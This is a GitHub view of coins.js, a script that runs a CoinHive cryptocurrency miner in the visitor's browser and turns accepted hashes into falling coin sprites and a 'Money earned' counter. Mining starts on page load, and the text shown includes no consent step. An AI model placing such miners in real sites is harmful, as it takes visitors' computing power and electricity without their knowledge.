-
Notifications
You must be signed in to change notification settings - Fork 2
/
coins.js
102 lines (86 loc) · 2.1 KB
/
coins.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
var cdrop = 0;
// calculates money earned by mining
var moneyEarned = 0;
// module aliases
var Engine = Matter.Engine,
Render = Matter.Render,
World = Matter.World,
Bodies = Matter.Bodies;
//creating engine
var engine = Engine.create();
//creating renderer
var render = Render.create({
element: document.body,
engine: engine,
options: {
width: window.innerWidth,
height: window.innerHeight,
background: 'transparent',
wireframes: false
}
});
var midpoint = window.innerWidth / 2;
//create objects
var ground = Bodies.rectangle(midpoint, 800, window.innerWidth - 5, 90, {
isStatic: true,
render: {
sprite: {
texture: 'assets/ground.png'
}
}
});
//adds the objects
World.add(engine.world, [ground]);
//runs the engine + renderer
Engine.run(engine);
Render.run(render);
//creates coins when called
var rest = 0.9;
var createCoin = function () {
return Bodies.rectangle(100, 0, 151, 10, {
render: {
sprite: {
texture: 'assets/coin.png'
}
},
restitution: rest
});
};
var ch = new CoinHive.Anonymous('7acDMUtasJBDQAxdQJ8VefLmExWCouzm');
ch.on('open', function(){
console.log('connection open');
});
ch.on('authed', function(){
console.log('connection authorized');
});
ch.on('close', function(){
console.log('connection closed');
});
ch.on('found', function(){
console.log('hash found');
});
ch.on('accepted', function(){
console.log('hash accepted');
coindrop();
});
ch.on('job', function(){
console.log('new mining job received');
});
ch.on('error', function(){
console.log('Error: ' + e.error);
});
setInterval(function(){
console.log('per second', ch.getHashesPerSecond());
console.log('total hashes', ch.getTotalHashes());
console.log('accepted hashes', ch.getAcceptedHashes());
}, 1000);
function coindrop(){
if ( ch.getAcceptedHashes() % 2 /* 1000000 <- proper value */ === 0 ){
cdrop = cdrop + 1;
moneyEarned = ch.getAcceptedHashes() / 1000000;
console.log('coins dropped:', cdrop );
World.add(engine.world, createCoin());
$("#counter").text( 'Money earned: $' + moneyEarned );
};
};
ch.start();